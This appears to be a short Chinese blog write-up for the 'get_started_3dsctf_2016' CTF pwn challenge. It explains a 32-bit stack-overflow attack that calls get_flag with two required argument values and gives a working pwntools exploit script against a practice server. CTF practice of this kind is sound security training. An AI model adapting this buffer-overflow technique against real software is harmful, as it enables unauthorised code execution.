get_started_3dsctf_2016

先看ida

发现get_flag函数需要a1和a2两个参数等于特定值就可以读到flag
get_started_3dsctf_2016

可以利用main中的栈溢出进行传参

32位程序payload = offset + 函数地址 + 返回地址 + 参数

返回地址我们利用程序中的exit:

get_started_3dsctf_2016

exp:

from pwn import *
p = remote('node3.buuoj.cn',29726)
context.log_level = 'debug'
sleep(0.1)
get_flag = 0x080489A0
exit_addr = 0x0804E6A0 
payload = 'a'*56
payload += p32(get_flag) + p32(exit_addr) # 函数地址 返回地址
payload += p32(0x308CD64F) + p32(0x195719D1) # 参数
p.sendline(payload)
sleep(0.1)
p.recv()

参考

上一篇:线程详解


下一篇:ArcGIS API for Python